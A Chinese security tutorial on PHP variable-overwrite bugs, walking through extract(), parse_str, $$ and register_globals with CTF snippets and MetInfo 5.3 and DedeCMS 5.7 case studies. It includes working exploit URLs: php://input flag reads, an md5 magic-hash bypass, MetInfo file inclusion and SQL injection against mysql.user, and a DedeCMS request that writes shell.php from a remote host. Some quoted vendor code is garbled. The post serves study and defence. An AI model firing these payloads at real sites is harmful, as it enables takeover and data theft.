点击上方蓝字 关注我吧
挖掘经验
1.1函数使用不当
1.1.1 extract()函数
int extract( array &$var_array [, int $extract_type = EXTR_OVERWRITE [, string $prefix = NULL ]])
|
|
|
|
|
|
$b = 3;
$a = array('b' => 'hello');
extract($a);
print_r($b);
$a = 1;
extract($_GET, EXTR_SKIP);
echo $a;
$a;
extract($_GET, EXTR_SKIP);
echo $a;
描述:file_get_contents????
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
extract() 函数从数组中将变量导入到当前的符号表。 该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。 该函数返回成功设置的变量数目,存在变量覆盖漏洞。 tirm()函数的作用是去除字符串两边的空白 file_get_contents()函数读取文件内容,不知道文件名可以利用php伪协议中的php://input读取原始数据流
?ac=1&fn=php://input
1
1.1.2 parse_str函数
void parse_str ( string $str [, array &$arr] )
echo 'GPC'.get_magic_quotes_gpc();
echo '<br /> client-ip = '.$_SERVER['HTTP_CLIENT_IP'];
echo '<br />$_GET[a] = '.$_GET['a'];
执行结果
$b = 1;
parse_str('b=2');
print_r($b);
error_reporting(0);
if(
empty($_GET['id'])) { //empty()检查是否为空
show_source(__FILE__); //highlight_file—语法高亮一个文件
die(); //等同于exit—输出一个消息并且退出当前脚本
} else {
include (‘flag.php’);
$a = “www.OPENCTF.com”;
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)) {
echo $flag;
} else {
exit(‘其实很简单其实并不难!’);
}
}
**$a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)**
**PHP Hash比较存在缺陷**
**md5(‘QNKCDZO’)**的结果是**0e830400451993494058024219903391**
**** php处理哈希字符串 http://www.cnblogs.com/Primzahl/p/6018158.html
**** 使用get请求?id=a[0]=s878926199a 得到flag**
1.1.3 import_request_variables()函数
bool import_request_variables ( string $types [, string $prefix ])
$b = 1;
import_request_variables('GP');
print_r($b);
if(isset($_REQUEST['btn_submit'])){
echo "正常取得的表单POST变量值:".$_REQUEST['Username']."<br />";
import_request_variables("pg", "import_");
//显示导入的变量名称
echo "使用import_request_variables函数导入的变量值:".$import_Username;
}
<form id="test_form" name="test_form" method="POST" action="">
Please input your name:
<label>
<input type="text" name="Username" id="Username" />
</label>
<label>
<input type="submit" name="btn_submit" id="btn_submit" value="submit"/>
</label>
<br />
</form>
-
当用户不能使用超级变量数组时; -
在php.ini配置文件的register_globals参数为Off(PHP 5之后的版本默认为Off)时,使用import_request_variables将GET/POST/Cookie这几个超级变量数组导入到全局作用域中。 -
在开发时,只要声明了引入的变量范围,就不必写$_GET或$_REQUEST一堆很长的超级全局数组名称了。
1.2 $$ 变量覆盖
foreach(array('_COOKIE', '_POST', '_GET') as $request) {
foreach($$_request as $_key => $_value) {
$$_key = addslashes($_value);
}
}
$a = 1;
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
echo $_key.'<br />';
$$_key = addslashes($_value);
}
}
echo $a;
0); error_reporting(
show_source(__FILE__); // show_source — 别名 highlight_file() 使用PHP内置的语法高亮器所定义的颜色,打印输出或者返回 filename 文件中语法高亮版本的代码。
include "flag.php"; //加载flag.php文件,这个文件里面只有一个变量是 $flag="seccuss. flag is woj.app";
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST")
die("CISPCTF is here :p...");
if ( !isset($_POST["flag"]) )
die($_403);
foreach ($_GET as $key => $value){
$$key = $$value; //注意这里是在大括号中,不是在函数中,不是临时变量。
print_r($$key); //重点在这里, 这里就变成了 ${$key}=${$value}
echo "------"; // 这里也就是说 假设 $key=aaa 拿就是 $aaa = ${$value}
print_r($$value);
//接上面,如果$value="bbb" 那么就是 $aaa=$bbb 如果bbb是个变量有值呢?
//如果按上面里面加载的是变量flag 那么如果 $aaa=$flag 那么 $aaa="seccuss. flag is woj.app"; 过关密钥对吧。
//php中大括号的作用,如下:
//一、不管什么程序,function name(){}, for(){},.这太多了,不说也知道什么用了。
//二、$str{4}在字符串的变量的后面跟上{}刚大括号和中括号一样都是把某个字符串变量当成数组处理
//三、{$val},这时候大括号起的作用就是,告诉PHP,括起来的要当成变量处理。
}
foreach ($_POST as $key => $value){
$$key = $value;
} //因为这个for循环遍历post接受的参数,所以下面的判断始终相等,既然相等就无法进入die($_403)
if ( $_POST["flag"] !== $flag ) // !== 不全等(完全不同) $x !== $y 如果 $x 不等于 $y,或它们类型不相同,则返回 true。
die($_403);
echo "This is your flag : ". $flag . "n"; //所以只能走到这里。因为flag上方有判断,必须赋值,所以他的原本值已经被覆盖。
die($_200); //只能走到这里,终止程序并显示变量$_200 那只能是让上方的 $key等于flag了。
1.3 register_globals全局变量覆盖
echo "Register_globals: " . (int)ini_get("register_globals") . "<br/>"; //ini_get — 获取一个配置选项的值
if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k});
if ($a) {
echo "Hacked!";
}
echo "Register_globals:".(int)ini_get("register_globals")."<br/>";
if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k});
print_r($_REQUEST); //查看REQUEST中的内容
echo "<br />";
print_r($_REQUEST[GLOBALS]);
echo "<br />";
print_r($_REQUEST[GLOBALS][a]);
echo "<br />";
var_dump($_REQUEST[GLOBALS][a]);
echo "<br />";
echo '$a = '.$a;
echo "<br />";
echo $_GET[b];
test.php?GLOBALS[a]=1&b=2
unset($_REQUEST);
即可。$content = file_get_contents($a);
print_r($content);
实例分析
实例一、MetInfo5.3变量覆盖漏洞
变量覆盖+文件包含
$module='';
if($fmodule!=7){
if($mdle==100)$mdle=3;
if($mdle==101)$mdle=5;
$module = $modulefname[$mdle][$mdtp];
if($module==NULL){okinfo('../404.html');exit();}
if($mdle==2||$mdle==3||$mdle==4||$mdle==5||$mdle==6){
if($fmodule==$mdle){
$module = $modulefname[$mdle][$mdtp];
}
else{
okinfo('../404.html');exit();
}
}
else{
if($list){
okinfo('../404.html');exit();
}
else{
$module = $modulefname[$mdle][$mdtp];
}
}
if($mdle==8){
if(!$id)$id=$class1;
$module = '../feedback/index.php';
}
metinfo/about/?fmodule=7&module=../upload/phpinfo.tx
变量覆盖+SQL注入
if(@file_exists('../app/app/shop/include/product.class.php') && @$cmodule){
require_once '../app/app/shop/include/product.class.php';
if($gotonew == 1){
@define('M_NAME', 'shop');
@define('M_MODULE', 'web');
@define('M_CLASS', @$cmodule);
@define('M_ACTION', 'doindex');
require_once '../app/system/entrance.php';
die();
}
}
header("Content-type: text/html;charset=utf-8");
error_reporting(E_ERROR | E_PARSE);
@set_time_limit(0);
$HeaderTime=time();
define('ROOTPATH', substr(dirname(__FILE__), 0, -7));
PHP_VERSION >= '5.1' && date_default_timezone_set('Asia/Shanghai');
session_cache_limiter('private, must-revalidate');
@ini_set('session.auto_start',0);
if(PHP_VERSION < '4.1.0') {
$_GET = &$HTTP_GET_VARS;
$_POST = &$HTTP_POST_VARS;
$_COOKIE = &$HTTP_COOKIE_VARS;
$_SERVER = &$HTTP_SERVER_VARS;
$_ENV = &$HTTP_ENV_VARS;
$_FILES = &$HTTP_POST_FILES;
}
require_once ROOTPATH.'include/mysql_class.php';
define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
isset($_REQUEST['GLOBALS']) && exit('Access Error');
require_once ROOTPATH.'include/global.func.php';
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
$_M['form'][$_key] = daddslashes($_value,0,0,1);
}
}
$met_cookie=array();
$settings=array();
$db_settings=array();
$db_settings = parse_ini_file(ROOTPATH.'config/config_db.php');
@extract($db_settings);
$db = new dbmysql();
$db->dbconn($con_db_host,$con_db_id,$con_db_pass,$con_db_name);
$query="select * from {$tablepre}config where name='met_tablename' and lang='metinfo'";
$mettable=$db->get_one($query);
$mettables=explode('|',$mettable[value]);
foreach($mettables as $key=>$val){
$tablename='met_'.$val;
$$tablename=$tablepre.$val;
$_M['table'][$val] = $tablepre.$val;
}
/*post和get变量变成普通变量,防注入。*/
function daddslashes($string, $force = 0,$metinfo,$url = 0) {
global $met_sqlinsert,$id,$class1,$class2,$class3;
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}
if(is_array($string)){
if($url){
$string='';
}else{
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
}
}else{
$string_old = $string;
$string = str_ireplace(""","/",$string);
$string = str_ireplace("'","/",$string);
$string = str_ireplace("*","/",$string);
$string = str_ireplace("~","/",$string);
$string = str_ireplace("select", "select", $string);
$string = str_ireplace("insert", "insert", $string);
$string = str_ireplace("update", "update", $string);
$string = str_ireplace("delete", "delete", $string);
$string = str_ireplace("union", "union", $string);
$string = str_ireplace("into", "into", $string);
$string = str_ireplace("load_file", "load_file", $string);
$string = str_ireplace("outfile", "outfile", $string);
$string = str_ireplace("sleep", "sleep", $string);
//$string = str_ireplace("(", "\", $string);
//$string = str_ireplace(")", "\", $string);
$string_html=$string;
$string = strip_tags($string);
if($string_html!=$string){
$string='';
}
$string = str_replace("%", "%", $string); //
/*
if(strlen($string_html)!=strlen($string)){
$reurl="http://".$_SERVER["HTTP_HOST"];
echo("<script type='text/javascript'> alert('Submitted information is not legal!'); location.href='$reurl'; </script>");
die("Parameter Error!");
}
*/
if(strlen($string_old)!=strlen($string)&&$met_sqlinsert){
$reurl="http://".$_SERVER["HTTP_HOST"];
echo("<script type='text/javascript'> alert('Submitted information is not legal!'); location.href='$reurl'; </script>");
die("Parameter Error!");
}
$string = trim($string);
}
if($id!=""){
if(!is_numeric($id)){
$id='';
}}
if($class1!=""){
if(!is_numeric($class1)&&$class1!='list'){
$class1='';
}}
if($class2!=""){
if(!is_numeric($class2)){
$class2='';
}}
if($class3!=""){
if(!is_numeric($class3)){
$class3='';
}}
return $string;
}
$query="select * from {$tablepre}config where name='met_tablename' and lang='metinfo'";
/metinfo/include/common.inc.php?tablepre=mysql.user limit 1 #
$query="select * from mysql.user limit 1 # config where name='met_tablename' and lang='metinfo'";
变量覆盖+重置管理员密码
function curl_post($post,$timeout){
global $met_weburl,$met_host,$met_file;
$host=$met_host;
$file=$met_file;
if(get_extension_funcs('curl')&&function_exists('curl_init')&&function_exists('curl_setopt')&&function_exists('curl_exec')&&function_exists('curl_close')){
$curlHandle=curl_init();
curl_setopt($curlHandle,CURLOPT_URL,'http://'.$host.$file);
curl_setopt($curlHandle,CURLOPT_REFERER,$met_weburl);
curl_setopt($curlHandle,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curlHandle,CURLOPT_CONNECTTIMEOUT,$timeout);
curl_setopt($curlHandle,CURLOPT_TIMEOUT,$timeout);
curl_setopt($curlHandle,CURLOPT_POST, 1);
curl_setopt($curlHandle,CURLOPT_POSTFIELDS, $post);
$result=curl_exec($curlHandle);
curl_close($curlHandle);
}
function jmailsend($from,$fromname,$to,$title,$body,$usename,$usepassword,$smtp,$repto,$repname)
{
global $met_fd_port,$met_fd_way;
$mail = new PHPMailer();
//$mail->SMTPDebug = 3;
$mail->CharSet = "UTF-8"; // charset
$mail->Encoding = "base64";
$mail->Timeout = 15;
$mail->IsSMTP(); // telling the class to use SMTP
//system
if(stripos($smtp,'.gmail.com')===false){
$mail->Port = $met_fd_port;
$mail->Host = $smtp; // SMTP server
if($met_fd_way=='ssl'){
$mail->SMTPSecure = "ssl";
}else{
$mail->SMTPSecure = "";
}
}
if(!$mail->Send()) {
$mail->SmtpClose();
//return "Mailer Error: " . $mail->ErrorInfo;
return false;
} else {
$mail->SmtpClose();
//return "Message sent!";
return true;
}
}
}
实例二、dedecms5.7变量覆盖漏洞
例如:_GET传入的参数是id=1,name=nfnf,在第一个foreach中先遍历_GET,此时$_request变为$_get,在第二个foreach中$$_request就变为$_get,$_k就是id和name${$_k}就变为$id,$_v就是1和nfnf。最后$id的值就是被$_v被函数RunMagicQuotes处理后的值。
在被包含的文件中定义了变量$updataHost
可以构造step=11&insLockfile=tee&install_demo_name=/data/admin/config_update.php&s_lang=tee
**http://localhost:8086/dedecms5.7/install/index.php?step=11&s_lang=test&insLockfile=test&install_demo_name=../data/admin/config_update.php
?step=11&insLockfile=test&install_demo_name=../shell.php&updateHost=http://127.0.0.1:8086/
因为我这里是本地环境就写的是127.0.0.1,也可以写成能访问到的ip,由于端口不是默认端口,所以要在IP后面加上端口号。需要在能访问到的ip下创建dedecms5.7文件夹并创建文件,文件名为demodata.{$s_lang}.txt。构造payload时s_lang传入多少就写多少,也可以使用默认的gb2312,文件名为demodata.gb2312.txt
漏洞防范
3.1、使用原始变量
3.2、验证变量存在
3.3、避免危险函数的使用
原创 | web中间件安全-Tomcat漏洞复现
原创 | web服务框架安全-ThinkPHP漏洞复现
原创 | tkMybatis中常见的注入场景
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论